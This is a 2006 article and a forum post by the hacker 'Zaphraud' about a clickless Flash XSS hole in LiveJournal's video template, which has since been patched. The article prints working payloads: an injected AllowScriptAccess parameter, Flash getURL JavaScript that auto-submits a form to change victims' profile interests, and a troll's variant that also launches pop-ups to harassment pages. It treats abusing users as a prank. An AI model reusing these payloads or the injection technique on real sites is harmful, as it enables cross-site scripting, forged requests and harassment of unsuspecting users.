Exploiting LiveJournal.com with Clickless SWF XSS
by Zaphraud
This article will focus on a clickless SWF XSS exploit of LiveJournal.com and the importance of:
- Learning from the past.
- Auditing all errors to at least determine what caused them.
- Last but not least, the ultimate form of code auditing: Using your program while intoxicated, to simulate a "regular" user.
As of October 6, 2006 LiveJournal staff closed this vulnerability in the video template system.
Recent Background
A few months ago, LiveJournal joined other blogging sites in supporting video content for its members.
Initially, the template system was used. Later, support was also added for simply pasting <object>-style code from YouTube or Photobucket.
Focus here is on the template system, which works as follows using a URL pasted in from one of the two allowable services, YouTube or Photobucket:
<lj template="name">http://www.youtube.com/watch?v=d3PyLe6siVE</lj-template>The very first thing that crossed my mind when I saw this was "Gee, I bet they are only checking domain names."
I proceeded to post an entry on August 2nd featuring a small Mozilla banner that I had uploaded to Photobucket for the purpose of testing this.
The post is at acpizza.livejournal.com/499638.html and uses the following snippet:
<lj-template name="video">http://img.photobucket.com/albums/v510/zaphraud/misc/mozilla.swf</lj-template>On September 13, 2006, I discovered a hilarious meme while drunk and posted another entry at acpizza.livejournal.com/501921.html and made the mistake of putting quotes around the URL, as follows:
<lj-template name="video">"http://img.photobucket.com/albums/v510/zaphraud/Funny/longcat.swf"</lj-template>It didn't work and I edited it to fix it.
Bear in mind that I was drunk, so once I figured out what I did wrong by looking at previous examples, is it any surprise that I ended up with:
<lj-template name="video">http://img.photobucket.com/albums/v510/zaphraud/Funny/longcat.swf"</lj-template>after "fixing" the problem? Notice I drunkenly left a quote at the end?
What happened next is key: Instead of properly breaking with the normal LiveJournal error when HTML is all screwed up:
[Error: Irreparable invalid markup ('whatever was bad') in entry. Owner must fix manually. Raw contents below.]I saw the word OBJECT on one side and a quote and a "> on the other side, with a working video in the middle, presumably from the <embed> tag.
Yes, as it turns out from viewing the source, it was possible to pass parameters to the Flash. Initially I played with this in the following manner:
<lj-template name="video">http://img.photobucket.com/albums/v510/zaphraud/Funny/zeldazv0.swf"height="1"width="1</lj-template>Note that spaces in the URL are disallowed.
However, by quoting parameters, separation of arguments is preserved. This one pixel "video" is actually a hummed rendition of the Zelda theme song, which as you can imagine is quite capable of making people confused when it ends up posted in a LiveJournal community, or a message comment, as there is not really any way to tell where exactly it came from short of viewing the source.
At some point, a Photobucket-hosted meatspin.swf was posted to a community, but a moderator deleted it rapidly.
Perhaps because of people getting used to MySpace profiles that are every bit as annoying as late-1990s GeoCities web pages, abuse of this function went under-reported. Clearly, something larger was needed in order to get this problem fixed. It was time to reopen a can of Exxon Seal Remover...
<lj-template name="video">http://img.photobucket.com/(some url).swf"height="1"width="1"AllowScriptAccess="always</lj-template>The AllowScriptAccess tag allows JavaScript to be run from Flash.
I downloaded a trial version of Flash 8 and struggled with this monster application's awkward interface until I figured out where I needed to drop my load, after which it became extremely simple.
getURL("javascript:document.write('<form method=post name=esr2006 action=http://www.livejournal.com/interests.bml><input type=hidden name=mode value=add><input type=hidden name=intid value=456049><input type=submit value=ESR></form>');document.esr2006.submit();");
It basically uses a single URL in order to write a little HTML form, then click on the submit button.
After it ran for a couple of hours in a popular but much disliked community, I shut it off and tried some other things.
Another person proved it possible to write a posting worm, in spite of LiveJournal's separation of domains, because since that time they have added another feature, www.livejournal.com/portal, that shows "friend's entries" on the main LiveJournal site which made it possible to use JavaScript to manipulate the new post page, located at www.livejournal.com/update.bml. This code was never released into the wild, and was only tested in a sterilized form.
The following code was used by a troll, apparently an obese orange cat, posting in the "proanorexia" community:
getURL("javascript:document.write(' <html> <body> <script language=\"JavaScript\"> function rUrl() { var cdate = 0; var sex = 0; targurl = new Array(4); targurl[0] = \"Donut_Girl\"; targurl[1] = \"Ronders\"; targurl[2] = \"Andikins\"; targurl[3] = \"Shay\"; var ran = 60/targurl.length; cdate = new Date(); sex = cdate.getSeconds(); sex = Math.floor(sex/ran); return(\"http://encyclopediadramatica.com/index.php/\" + targurl[sex]); } function PopupMe() { myleft=100; mytop=100; settings=\"top=\" + mytop + \",left=\" + myleft + \",width=900,height=800,location=no,directories=no,menubar=no,toolbar=no,status=no,scrollbars=yes,resizable=yes,fullscreen=yes\"; PopupWin=window.open(rUrl(),\"PopupWin\", settings); PopupWin.blur(); } </script> <form method=post name=esr2006 action=http://www.livejournal.com/interests.bml> <input type=hidden name=mode value=add><input type=hidden name=intid value=456049> <input type=submit value=ESR> </form> </body> </html>'); PopupMe(); document.esr2006.submit(); ");This is the final known example of this exploit in a functional form, which not only made users interested in Exxon Seal Remover, but then triggered an aggressive pop-up of one of four f*cked-up-people pages from Encyclopedia Dramatica.
What can we learn from the past, with respect to development and security?
At first glance, it would appear that this is just a more advanced version of the same damn thing that happened with Exxon Seal Remover in 2001 (see www.livejournal.com/tools/memories.bml?user=acpizza&keyword=Exxon+Seal+Remover+bugfix) where image tags weren't being properly filtered and allowed for manipulation of the user's interests, or, in the 21-January-2003 entry, to launch the user's mail client with a shocking message (it initially said something else).
On the other hand, one has to take into account reality, something we hackers often overlook.
While only having a day or two of significant downtime in the last half dozen years, LiveJournal.com has been completely overtaken in popularity by the bug-ridden Swiss cheese that is MySpace.com, and that's because MySpace used the same philosophy that Microsoft has used in all their products (and perhaps until recently with their OS): Get it working, now. Fix it when it breaks.
In a world with no real corporate responsibility, fixing security holes before they are exploits or spending time creating quality code is a losing business model.
That saddens me deeply, but that's an unfortunate reality.
Kudos to the 805 and the 602.
zaphraud Post Posted: Thu Sep 07, 2006 8:42 am _________________________________________________________________ First, the 0day: LJ recently enabled movies on photobucket and youtube with a template. The template is needed both to keep people from posting random-ass stuff and turning LJ into the mess that MySpace is. Also needed to keep people from having passwords jacked by malicious flash, if they are running an older version of flash, the activescript is apparently a problem (?). This was recently highlighted on MySpace, where the site basically did everything it could to ram Flash Player 9 down everyones throat - including insisting that my Linux box didn't have the latest version of Flash (7 is the latest on Linux - I hope Sun gets on Adobe's ass about fixing the problems in the Linux version, if they were ever there to start with; I know that the Linux version of 7 lacks many of the problems I had with the Windows version of 7... lets just say I never had to fight battles with getflash.exe in Linux!). In ANY case, you can see it here: <lj-template name="video">http://img.photobucket.com/albums/v510/zaphraud/misc/mozilla.swf</lj-template> acpizza.livejournal.com/499638.html ...you can also post the SWF ads on photobucket or youtube as if they were movies, as long as they are within the parent domain. (ads for their own products, in other words. They dont host the ads for other cos.) This is a security hole exploit because: 1. You aren't supposed to be able to do that. That could be a MUCH more annoying flash program, and LiveJournal, like everywhere else, is relying on the SWF player to not spontaneously start itself up. 2. I can upload any SWF to Photobucket that I want, because photobucket allows SWF as a still image format (go figure. I guess its vaguely similar to a really, really, really animated gif...) 3. The LiveJournal template system, while it does an excellent job of detecting any other domain than YouTube or Photobucket, doesn't seem to give a shit WHERE on either of those domains the Flash comes from! The template ONLY checks the domain name! I've been playing with LJ this for half a decade now on and off, I probably find a hole in LJ every other year or so. By far the most direct and noticable was the "Exxon Seal Remover" trick, which occured in 2001. Ive since found some of the stuff the staff wrote about getting it fixed and made it into memories: www.livejournal.com/tools/memories.bml?user=acpizza&keyword=Exxon+Seal+Remover+bugfix. In acpizza.livejournal.com/104425.html I was able to post Flash to LJ as well. Despite reporting it, that bug sat completely unfixed until YEARS later - like late 2005 or early 2006 I think, #bantown seized a bunch of passwords using XSS and all of the sudden they turned the paranoia on the filtering way up and it stopped working. *this didn't work in MSIE* - MSIE doesnt interpret the object tag if that damned dot is stuck on the end - but since it worked in Firefox, which later became FAR more popular than Mozilla, by the time #bantown got around to noticing it was pretty significant when it happened to LJ. I think they logged everyone out, actually, to implement a new password system and new domain mapping. Gee, all those years to fix it, sure didn't take 'em long to open up another SWF hole did it? In "Testing a mozilla bug" (acpizza.livejournal.com/114464.html) I had read about the IMG SRC="mailto:" problem with Mozilla and wanted to see how it worked, sorta publicly... Back in 2003 I figured anyone smart enough to be using Mozilla would be smart enough not to freak out. I didn't know the same bug existed in MSIE - I swear it - and so I had to alter that post pretty quick after a bunch of chicks promptly freaked out when their email programs opened.